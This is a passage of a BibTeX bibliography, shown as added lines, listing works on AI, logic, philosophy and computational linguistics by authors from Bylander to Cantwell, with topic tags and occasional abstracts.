topic = {kr;abduction;kr-complexity-analysis;kr-course;} + } + +@article{ bylander-etal:1991a2, + author = {Tom Bylander and Dean Allemang and Michael C. Tanner and + John R. Josephson}, + title = {The Computational Complexity of Abduction}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {49}, + number = {1--3}, + pages = {25--60}, + xref = {Conference publication: bylander-etal:1991a1.}, + topic = {kr-complexity-analysis;abduction;} + } + +@article{ bylander:1994a, + author = {Tom Bylander}, + title = {The Computational Complexity of Propositional {STRIPS} + Planning}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {69}, + number = {1--2}, + pages = {165--204}, + topic = {complexity-in-AI;planning;STRIPS;} + } + +@article{ bylander:1996a, + author = {Tom Bylander}, + title = {A Probabilistic Analysis of Propositional {STRIPS} + Planning}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {81}, + number = {1--2}, + pages = {241--271}, + topic = {search;experiments-on-theorem-proving-algs; + computational-phase-transitions;} + } + +@article{ bylander:1998a, + author = {Tom Bylander}, + title = {Worst-Case Analysis of the Perceptron and + Worst-Case Exponentiated Update Algorithms}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {106}, + number = {2}, + pages = {335--352}, + topic = {complexity-in-AI;perceptrons;} + } + +@article{ byrd_m:1973a, + author = {Michael Byrd}, + title = {Knowledge and True Belief in {H}intikka's Epistemic Logic}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {2}, + pages = {181--192}, + topic = {epistemic-logic;belief;} + } + +@article{ byrd_m:1978a, + author = {Michael Byrd}, + title = {The Extensions of {BAlt}$_3$---Revisited}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {4}, + pages = {407--413}, + topic = {modal-logic;} + } + +@incollection{ byrd_rj:1994a, + author = {Roy J. Byrd}, + title = {Discovering Relationships Among Word Senses}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of Don Walker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {177--189}, + address = {Pisa and Dordrecht}, + topic = {computational-lexical-semantics;} + } + +@article{ byrne:2001a, + author = {Alex Byrne}, + title = {Intentionalism Defended}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {2}, + pages = {199--240}, + topic = {philosophy-of-perception;} + } + +@article{ byron:2001a, + author = {Donna K. Byron}, + title = {The Uncommon Denominator: A Proposal for Consistent + Reporting of Pronoun Resolution Results}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {4}, + pages = {569--577}, + topic = {anaphora-resolution;} + } + +@book{ bystrov-sadovsky:1996a, + editor = {Peter I. Bystrov and Vadim N. Sadovsky}, + title = {Philosophical Logic and Logical Philosophy: Essays in + Honour of {V}ladimir {A}. {S}mirnov}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + address = {Dordrecht}, + ISBN = {0792342704 (alk. paper)}, + topic = {philosophical-logic;} + } + +@article{ caccamo-kowaltowski:1998a, + author = {Mario-Jos\'e C\'accamo and Tomasz Kowaltowski}, + title = {Review of {\it Finite-State Language Processing}, + edited by {E}mmanual {R}oche and {Y}ves {S}chabes}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {4}, + pages = {641--643}, + topic = {finite-state-nlp;} + } + +@book{ cacciari-tabossi:1993a, + author = {Cristina Cacciari and Patrizia Tabosi}, + title = {Idioms: Processing, Structure, and Interpretation}, + publisher = {Lawrence Erlbaum Associates}, + year = {1993}, + address = {Mahwah, New Jersey}, + topic = {psycholinguistics;idioms;} + } + +@article{ cadoli-etal:1992a, + author = {Marco Cadoli and Thomas Eiter and Georg Gottlob}, + title = {An Efficient Method for Eliminating Varying Predicates + from a Circumscription}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {54}, + number = {3}, + pages = {397--410}, + topic = {circumscription;nonmonotonic-logic;} + } + +@incollection{ cadoli-schaerf:1992a, + author = {Grigori Cadoli and Marco Schaerf}, + title = {Approximate Reasoning and Non-Omniscient Agents}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {169--183}, + address = {San Francisco}, + topic = {epistemic-logic;resource-limited-reasoning; + hyperintensionality;} + } + +@incollection{ cadoli-schaerf:1992b, + author = {Marco Cadoli and Marco Schaerf}, + title = {Approximation in Concept Description Languages}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {330--341}, + address = {San Mateo, California}, + topic = {taxonomic-logics;approximation;} + } + +@inproceedings{ cadoli-etal:1994a, + author = {Marco Cadoli and Francesco Domini and Marco Schaerf}, + title = {Is Intractability of Non-Monotonic Logic a Real Drawback?}, + booktitle = {Proceedings of the Twelfth National Conference on + Artificial Intelligence}, + year = {1994}, + editor = {Barbara Hayes-Roth and Richard Korf}, + pages = {946--951}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;nonmonotonic-reasoning;kr-complexity-analysis;kr-course;} + } + +@incollection{ cadoli-etal:1994b, + author = {Marco Cadoli and Thomas Eiter and Georg Georg Gottlob}, + title = {Default Logic as a Query Language}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {99--108}, + address = {San Francisco, California}, + topic = {kr;default-logic;query-languages;kr-course;} + } + +@incollection{ cadoli-etal:1996a, + author = {Marco Cadoli and Francesco M. Donini and Paolo Liberatore and + Marco Schaerf}, + title = {Comparing Space Efficiency of Propositional Knowledge + Representation Formalisms}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {364--374}, + address = {San Francisco, California}, + topic = {kr;kr-complexity-analysis;nonmonotonic-reasoning;kr-course;} + } + +@article{ cadoli-etal:1996b, + author = {Marco Cadoli and Francesco M. Donini and Marco Schaerf}, + title = {Is Intractability of Nonmonotonic Reasoning a Real + Drawback?}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {88}, + number = {1--2}, + pages = {215--251}, + topic = {nonmonotonic-logic;nonmonotonic-reasoning;complexity-in-AI;} + } + +@article{ cadoli-etal:1999a, + author = {Marco Cadoli and Francesco M. Donini and Paolo Liberatore and + Marco Schaerf}, + title = {The Size of a Revised Knowledge Base}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {115}, + number = {1}, + pages = {25--64}, + topic = {belief-revision;complexity-in-AI;} + } + +@article{ cadoli-scarcello:2000a, + author = {Marco Cadoli and Francesco Scarcello}, + title = {Semantical and Computational Aspects of {H}orn + Approximations}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {119}, + number = {1--2}, + pages = {1--17}, + acontentnote = {Abstract: + Selman and Kautz proposed a method, called Horn approximation, + for speeding up inference in propositional Knowledge Bases. + Their technique is based on the compilation of a propositional + formula into a pair of Horn formulae: a Horn Greatest Lower + Bound (GLB) and a Horn Least Upper Bound (LUB). In this paper we + focus on GLBs and address two questions that have been only + marginally addressed so far: + 1. what is the semantics of the Horn GLBs? + 2. what is the exact complexity of finding them? + We obtain semantical as well as computational results. The major + semantical result is: The set of minimal models of a + propositional formula and the set of minimum models of its Horn + GLBs are the same. The major computational result is: Finding a + Horn GLB of a propositional formula in CNF is NP -equivalent. + } , + topic = {Horn-approximation;knowledge-compilation;complexity-in-AI;} + } + +@book{ caferra-salzer:2000a, + editor = {Ricardo Caferra and Gernot Salzer}, + title = {Automated Deduction in Classical and Non-Classical Logics: + Selected Papers}, + publisher = {Springer-Verlag}, + year = {2000}, + address = {Berlin}, + contentnote = {TC: + 1. Gilles Dowek, "Automated theorem proving in + first-order logic modulo: on the difference between + type theory and set theory" + 2. Melvin Fitting, "Higher-order Modal Logic--A Sketch" + 3. Deepak Kapur and G. Sivakumar, "Proving + Associative-Commutative Termination Using RPO-Compatible + Orderings" + 4. Alexander Leitsch, "Decision Procedures and Model + Building, or How to Improve Logical Information in + Automated Deduction" + 5. David A. Plaisted and Yunshan Zhu, "Replacement Rules with + Definition Detection" + 6. Thierry Boy de la Tour, "On the Comlexity [sic] + of Finite Sorted Algebras" + 7. Domenico Cantone and Marianna Nicolosi Asmundo, "A Further + and Effective Liberalization of the Delta-Rule in Free + Variable Semantic Tableaux" + 8. Domenico Cantone and Calogero G. Zarba, "A New Fast + Tableau-Based Decision Procedure for an Unquantified + Fragment of Set Theory" + 9. Ingo Dahn, "Interpretation of a Mizar-Like Logic in + First-Order Logic" + 10. St\'ephane Demri and Rajeev Gor\'e, "An $O((n{\cdot}log + n)^3$)-time transformation from {Grz} into + Decidable Fragments of Classical First-Order Logic" + 11. Christian G. Ferm\"uller, "Implicational Completeness of + Signed Resolution" + 12. Andrea Fromisano and Eugenio Omodeo, "An Equational + Re-Engineering of Set Theories" + 13. Ullrich Hustadt andz Renate A. Schmidt, "Issues of + Decidability for Description Logics in the Framework of + Resolution" + 14. Reinhard Pichler, "Extending Decidable Clause Classes Via + Constraints" + 15. Reinhard Pichler, "Completeness and Redundancy in Constrained + Clause Logic" + 16. Aida Pliu\v{s}keviciene, "Effective Properties of Some + First-Order Intuitionistic Modal Logics" + 17. Grigore Rosu and Joseph Goguen, "Hidden Congruent Deduction" + 18. Viorica Sofronie-Stokkermans, "Resolution-based theorem + proving for SH$_n$-logics" + 19. Claus-Peter Wirth "Full First-Order Sequent and Tableau + Calculi with Preservation of Solutions and the Liberalized + Delta-Rule but without Skolemization" + } , + ISBN = {3540671900 (softcover)}, + topic = {theorem-proving;modal-logic;} + } + +@article{ cagnoni:1977a, + author = {Donatella Cagnoni}, + title = {A Note on the Elimination Rules}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {3}, + pages = {269--281}, + topic = {proof-theory;} + } + +@unpublished{ cahill:1996a, + author = {Lynne J. Cahill}, + title = {Morphonology in the Lexicon}, + year = {1996}, + note = {Unpublished manuscript, School of Cognitive and Computing + Sciences, University of Sussex.}, + topic = {computational-lexicography;nm-ling;} + } + +@unpublished{ cahill-gazdar:1996a, + author = {Lynne J. Cahill and Gerald Gazdar}, + title = {Multilingual Lexicons for Related Languages}, + year = {1996}, + note = {Unpublished manuscript, School of Cognitive and Computing + Sciences, University of Sussex.}, + topic = {computational-lexicography;} + } + +@article{ cahn:1964a, + author = {Stephen Cahn}, + title = {Fatalistic Arguments}, + journal = {The Journal of Philosophy}, + year = {1964}, + volume = {62}, + number = {10}, + pages = {295--305}, + xref = {Commentary on: taylor_r:1962a. Also see: taylor:1964a.}, + topic = {(in)determinism;} + } + +@inproceedings{ cahn_je-brennan:1999a, + author = {Janet E. Cahn and Susan E. Brennan}, + title = {A Psychological Model of Grounding and Repair in Dialog}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {25--33}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;conversational-record;} + } + +@book{ cahn_sm:1967a, + author = {Steven M. Cahn}, + title = {Fate, Logic, and Time}, + publisher = {Yale University Press}, + year = {1967}, + address = {New Haven}, + xref = {Criticism: chapman:1972a.}, + topic = {future-contingent-propositions;(in)determinism;} + } + +@article{ cahn_sm:1974a, + author = {Steven M. Cahn}, + title = {Statements of Future Contingencies}, + journal = {Mind}, + year = {1974}, + volume = {81}, + number = {332}, + pages = {574}, + xref = {Reply to chapman:1972a.}, + acontentnote = {Abstract: + In a note in ``Mind,'' Tobias Chapman claims that the solution + to the fatalist's paradox which I offer in my book ``Fate, + Logic, and Time" is defective in two respects. In this article I + argue that both Chapman's objections are mistaken. First, he + erroneously assumes that all statements are tensed. Second, he + erroneously assumes that a three-valued logic must be purely + truth-functional. } , + topic = {future-contingent-propositions;} + } + +@incollection{ caicedo:1995a, + author = {Xavier Caicedo}, + title = {Continuous Operations on Spaces of Functions}, + booktitle = {Quantifiers: Logic, Models, and Computation, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Micha{\l} Krynicki and Marcin Mostowski and Les{\l}aw W. + Szczerba}, + pages = {263--296}, + address = {Dordrecht}, + topic = {model-theory;topology;} + } + +@article{ cajori:1915a, + author = {F Cajori}, + title = {The History of {Z}eno's Arguments on Motion}, + journal = {American Mathmatical Monthly}, + year = {1915}, + volume = {22}, + pages = {1--6; 77--82; 109--115; 143--149; 179--186; 215--220; 253--258}, + topic = {paradoxes-of-motion;Zeno;} + } + +@incollection{ calder:1997a, + author = {Jo Calder}, + title = {On Aligning Trees}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {75--80}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;corpus-linguistics; + corpus-tagging;} + } + +@book{ calhoun-solomon:1984a, + editor = {Cheshire Calhoun and Robert C. Solomon}, + title = {What is an Emotion? Classic Readings in Philosophical + Psychology}, + publisher = {Oxford University Press}, + year = {1984}, + address = {Oxford}, + topic = {emotion;} + } + +@incollection{ calif-mooney:1998a, + author = {Mary Elaine Calif and Raymond J. Mooney}, + title = {Relational Learning of Pattern-Match Rules for Information + Extraction}, + booktitle = {{CoNLL97}: Computational Natural Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {T. Mark Ellison}, + pages = {9--15}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;information-retrieval;} + } + +@article{ callaway-lester:2002a, + author = {Charles B. Callaway and James C. Lester}, + title = {Narrative Prose Generation}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {139}, + number = {2}, + pages = {213--252}, + topic = {nl-generation;fiction;narrative-generation;} + } + +@article{ callendar:1998a, + author = {Craig Callendar}, + title = {Review of {\it Bangs, Crunches, Whimpers, and Shrieks: + Singularities and Acausalities in Relativistic Spacetime}, by + {J}ohn {E}arman}, + journal = {Philosophical Review}, + year = {1998}, + volume = {107}, + number = {1}, + pages = {142--146}, + xref = {Review of earman:1995a}, + topic = {spacetime-singularities;philosophy-of-physics;} + } + +@article{ callendar:1999a, + author = {Craig Callender}, + title = {Reducing Thermodynamics to Statistical Mechanics: + The Case of Entropy}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {7}, + pages = {348--373}, + topic = {philosophy-of-physics;foundations-of-thermodynamics; + theory-reduction;} + } + +@incollection{ callendar:2000a, + author = {Craig Callendar}, + title = {Shedding Light on Time}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S587--S599}, + address = {Newark, Delaware}, + topic = {philosophy-of-time;philosophy-of-physics;} + } + +@book{ callendar-huggert:2000a, + editor = {Craig Callendar and Nick Huggert}, + title = {Physics Meets Philosophy at the {P}lanck Scale: + Contemporary Theories in Quantum Gravity}, + publisher = {Cambridge University Press}, + year = {2000}, + address = {Cambridge, England}, + ISBN = {052166445-4}, + topic = {philosophy-of-physics;quantum-gravity;} + } + +@incollection{ calmes-etal:2002a, + author = {Martine de Calm\'es and Didier Dubois and Eyke + H\"ullermeier and Henri Prade and Florecne S\'edes}, + title = {A Fuzzy Set Approach to Flexible Case-Based Querying: + Methodology and Experimentation}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {449--458}, + address = {San Francisco, California}, + topic = {kr;query-planning;} + } + +@book{ calmet-etal:1996a, + editor = {Jacques Calmet and John A. Campbell and Jochen Pfalzgraf}, + title = {Artificial Intelligence and Symbolic Mathematical Computation: + International Conference, {AISC}-3, Steyr, Austria, + September 23-25, 1996, Proceedings}, + publisher = {Springer-Verlag}, + year = {1996}, + address = {Berlin}, + ISBN = {3540617329}, + topic = {logic-programming;theorem-proving;} + } + +@book{ calmet-plaza:1998a, + editor = {Jacques Calmet and Jan Plaza}, + title = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + publisher = {Springer Verlag}, + year = {1998}, + address = {Berlin}, + contentnote = {TC: + 1. Luc De Raedt, "An Inductive Logic Programming Query + Language for Database Mining (Extended Abstract)" + 2. Melvin Fitting, "Bertrand {R}ussell, {H}erbrand's + Theorem, and the Assignment Statement" + 3. Richmond H. Thomason, "Representing and Reasoning with + Context" + 4. Alessandro Armado and Silvio Ranise, "From Integrated + Reasoning Specialists to `Plug and Play' Reasoning + Components" + 5. Clemens Ballarin and Lawrence C. Paulson, "Reasoning + about Coding Theory: The Benefits We Get From + Computer Algebra" + 6. Michael Beeson, "Automatic Generation of Epsilon-Delta + Proofs of Continuity" + 7. Belaid Benhamou and Laurent Heocque, "Finite Model Search + for Equational Theories (FMSET)" + 8. P.G. Bertoli nd J. Calmet and Fausto Giunchiglia and + K. Homann, "Specification and Integration of + Theorem Provers and Computer Algebra Systems" + 9. Carlos Castro, "{COLLETTE}, Prototyping {CSP} Problem Solvers + Using a Rule-Based Language" + 10. Martin Damsbo and Peder Thusgaard Ruboff, "An Evolutionary + Algorithm for Welding Task Sequence Ordering" + 11. Uwe Egli and Stephen Schmitt, "Intuitionistic + Proof Transformations and Their Application to + Constructive Program Synthesis" + 12. St\'ephane F\'evre and Dongming Wang, "Combining Algebraic + Computing and Term-Rewriting for Geometry Theorem + Proving" + 13. Dirk Fuchs, "Cooperation between Top-Down and Bottom-Up + Theorem Provers by Subgoal Clause Transfer" + 14. Ken-etzu Fujita, "Polymorphic Call-by-Value Calculus Based + on Classical Proofs" + 15. L.M. Laita and E. Roanes-Lozano and Y. Maojo, "Inference + and Verification in Medical Appropriateness Criteria + Using {G}r\"obner Bases" + 16. Christopher Lynch, "The Unification Problem for One + Relation {T}hue Systems" + 17. Christopher Lynch and Christelle Scharff, "Basic + Completion with E-Cycle Simplification" + 18. Eric Monfroy and Christophe Ringeissen, "Sole{X}: A + Domain Independent Scheme for Constraint Solver + Extension" + 19. Ian Horrocks and Peter F. Patel-Schneider, "Optimising + Propositional Modal Satisfiability for Description + Logic Subsumption" + 20. Brigitte Pientka and Christoph Kreitz, "Instantiation of + Existentially Quantified Variables in Induction + Specification Proofs" + 21. Zbigniew Ra\'s and Jiyun Zheng, "Knowledge Discovery + Objects and Queries in Distributed Knowledge + Systems" + 22. Fritz Schwartz, "{ALLTYPES}: An Algebraic Language and + {TYPE} System" + 23. J. Rafael Sendra and Franz Winkler, "Real Parametrization + of Algebraic Curves" + 24. Zbigniew Stachniak, "Non-Clausal Reasoning with + Propositional Theories" + }, + topic = {logic-programming;theorem-proving;} + } + +@incollection{ calvanese-etal:1994a, + author = {Marco Calvanese and Maurizio Lenzerini and Daniele Nardi}, + title = {A Unified Framework for Class-Based Representation Formalisms}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {109--120}, + address = {San Francisco, California}, + topic = {kr;taxonomic-logics;frames;kr-course;} + } + +@incollection{ calvanese:1996a, + author = {Diego Calvanese}, + title = {Finite Model Reasoning in Description Logics}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {292--303}, + address = {San Francisco, California}, + contentnote = {Considers eg how to add lists and trees to KL1.}, + topic = {kr;taxonomic-logics;extensions-of-kl1;finite-models;kr-course;} + } + +@incollection{ calvanese-etal:1998a, + author = {Diego Calvanese and Giuseppe de Giacomo and Maurizio + Lenzarini and Daniele Nardi and Ricardo Rosati}, + title = {Description Logic Framework for Knowledge Integration}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {2--13}, + address = {San Francisco, California}, + topic = {kr;knowledge-integration;taxonomic-logics + ;kr-course;} + } + +@inproceedings{ calvanese-etal:2000a, + author = {Diego Calvanese and Giuseppe De Giacomo and Maurizio + Lenzerini and Moshe Y. Vardi}, + title = {Containment of Conjunctive Regular Path Queries with + Inverse}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {176--185}, + topic = {reasoning-with-queries;} + } + +@incollection{ calvanese-etal:2002a, + author = {Diego Calvanese and Giuseppe De Giacomo and Moshe Y. + Vardi}, + title = {Reasoning about Action and Planning in {LTL} Action + Theories}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {593--602}, + address = {San Francisco, California}, + topic = {kr;planning-formalisms;reasoning-about-actions;} + } + +@incollection{ calzolari:1994a, + author = {Nicoletta Calzolari}, + title = {Issues for Lexicon Building}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {267--281}, + address = {Pisa and Dordrecht}, + topic = {computational-lexicography;} + } + +@book{ cameron_d-rosenblatt:1991a, + author = {Debra Cameron and Bill Rosenblatt}, + title = {Learning Gnu Emacs}, + publisher = {O'Reilly}, + year = {1991}, + address = {Sebastopol, California}, + topic = {emacs-manual;} + } + +@article{ cameron_jr:2000a, + author = {J.R. Cameron}, + title = {Numbers as Types}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {10}, + pages = {529--563}, + topic = {philosophy-of-mathematics;} + } + +@book{ cameron_pj:1994a, + author = {Peter J. Cameron}, + title = {Combinatorics: Topics, Techniques, Algorithms}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + topic = {combinatorics;} + } + +@article{ campbell:1974a, + author = {Richard Campbell}, + title = {Real Predicates and `Exists'\,}, + journal = {Mind}, + year = {1974}, + volume = {83}, + number = {329}, + pages = {95--99}, + topic = {(non)existence;Kant;} + } + +@article{ campbell_ja-hearn:1970a, + author = {J.A. Campbell and Anthony C. Hearn}, + title = {Symbolic Analysis of {F}eynman Diagrams by Computer}, + journal = {Journal of Computational Physics}, + year = {1970}, + volume = {5}, + pages = {280--327}, + missinginfo = {A's 1st name, number}, + topic = {computer-assisted-physics;computer-assisted-science;} + } + +@article{ campbell_k:1965a, + author = {Keith Campbell}, + title = {Family Resemblance Predicates}, + journal = {American Philosophical Quarterly}, + year = {1965}, + volume = {2}, + pages = {238--244}, + missinginfo = {number}, + topic = {vagueness;cluster-concepts;} + } + +@article{ campbell_k:1974a, + author = {Keith Campbell}, + title = {The Sorites Paradox}, + journal = {Philosophical Studies}, + year = {1974}, + volume = {26}, + pages = {175--191}, + missinginfo = {number}, + topic = {vagueness;sorites-paradox;} + } + +@article{ campbell_ks:1989a, + author = {Kim Sydow Campbell}, + title = {Book Review: A Linguistic Study of American + Punctuation}, + journal = {College Composition and Communication}, + year = {1989}, + volume = {40}, + number = {2}, + pages = {242--243}, + topic = {punctuation;} +} + +@article{ campbell_m-etal:2002a, + author = {Murray Campbell and A. Joseph {Hoane, Jr.} and + Feng-Hsiung Hsu}, + title = {Deep Blue}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {134}, + number = {1--2}, + pages = {57--83}, + topic = {computer-chess;game-trees;search;} + } + +@article{ campbell_ms-marsland:1983a, + author = {Murray S. Campbell and T.A. Marsland}, + title = {A Comparison of Minimax Tree Search Algorithms}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {20}, + number = {4}, + pages = {347--367}, + topic = {search;AI-algorithms-analysis;} + } + +@article{ campbell_r:1964a, + author = {R. Campbell}, + title = {Modality {\it de dicto} and {\it de re}}, + journal = {Australasian Journal of Philosophy}, + year = {1964}, + volume = {42}, + pages = {345--359}, + missinginfo = {A's 1st name, number}, + topic = {modality;quantifying-in-modality;singular-propositions;} + } + +@article{ campbell_r:1974a, + author = {Richmond Campbell}, + title = {The Sorites Paradox}, + journal = {Philosophical Studies}, + year = {1974}, + volume = {26}, + pages = {175--191}, + topic = {vagueness;} + } + +@incollection{ campbell_r:1985a, + author = {Richmond Campbell}, + title = {Background for the Uninitiated}, + booktitle = {Paradoxes of Rationality and Cooperation}, + publisher = {The University of British Columbia Press}, + year = {1985}, + pages = {3--41}, + address = {Vancouver}, + topic = {rationality;foundations-of-decision-theory;} + } + +@book{ campbell_r-sowdon:1985a, + editor = {Richmond Campbell and Lanning Sowden}, + title = {Paradoxes of Rationality and Cooperation: Prisoner's + Dilemma and {N}ewcomb's Problem}, + publisher = {The University of British Columbia Press}, + year = {1985}, + address = {Vancouver}, + topic = {foundations-of-decision-theory;rationality;cooperation; + Newcomb-problem;prisoner's-dilemma;} + } + +@book{ campe:1994a, + author = {Petra Campe}, + title = {Case, Semantic Roles, and Grammatical Relations: A + Comprehensive Bibliography}, + publisher = {John Benjamins Publishing Company}, + year = {1994}, + address = {Amsterdam}, + topic = {grammatival-relations;} + } + +@incollection{ campell-shapiro:1998a, + author = {Alistair Campell and Stuart C. Shapiro}, + title = {Algorithms for Ontological Mediation}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {102--107}, + address = {Somerset, New Jersey}, + topic = {nl-processing;WordNet;computational-ontology;} + } + +@incollection{ cancedda-samuelson_c:2000a, + author = {Nicola Cancedda and Christer Samuelson}, + title = {Corpus-Based Grammar Specialization}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {7--12}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;disambiguation; + grammar-specialization;} + } + +@inproceedings{ candito:1996a, + author = {Marie-H\'el\'ene Candito}, + title = {Generating an {LTAG} out of a Principle-Based Hierarchical + Representation}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {342--344}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {TAG-grammar;computational-lexicography;} + } + +@inproceedings{ candito:1998a, + author = {Marie-H\'el\`en Candito}, + title = {Building Parallel Lexicalized Tree Adjoining Grammars for + {I}talian and {F}rench}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {211--218}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {TAG-grammar;Italian-language;French-language;} +} + +@article{ canning:1992a, + author = {S. Canning}, + title = {Rationality, Computability and {N}ash Equilibrium}, + journal = {Econometirca}, + year = {1992}, + volume = {60}, + pages = {877--888}, + missinginfo = {A's 1st name, number}, + topic = {game-theory;} + } + +@article{ canny:1988a, + author = {John Canny}, + title = {Constructing Roadmaps of Semi-Algebraic Sets {I}: + Completeness}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {37}, + number = {1--3}, + pages = {203--222}, + acontentnote = {Abstract: + This paper describes preliminary work on an algorithm for + planning collision-free motions for a robot manipulator in the + presence of obstacles. The physical obstacles lead to forbidden + regions in the robots configuration space, and for + collision-free motion we need paths through configuration space + which avoid these regions. Our method is to construct a certain + one-dimensional subset or ``roadmap'' of the space of allowable + configurations. If S denotes the set of allowable + configurations, the roadmap has the property that any connected + component of S contains a single connected component of the + roadmap. It is also possible, starting from an arbitrary point + p S to rapidly construct a path from p to a point on the + roadmap. Thus given any two points in S we can rapidly + determine whether they lie in the same connected component of S, + and if they do, we can return a candidate path between them. We + do not give a complete description of the algorithm here, but we + define the roadmap geometrically, and verify that it has the + necessary connectivity. } , + topic = {robotics;motion-planning;collision-avoidance;} + } + +@incollection{ cano-etal:1991a, + author = {Jos\'e Cano and Miguel Delgado and Seraf\'in Moral}, + title = {Propagation of Uncertainty in Dependance Graphs}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {42--47}, + address = {Berlin}, + topic = {reasoning-about-uncertainty;dependency-graphs;} + } + +@article{ cantwell:1998a, + author = {John Cantwell}, + title = 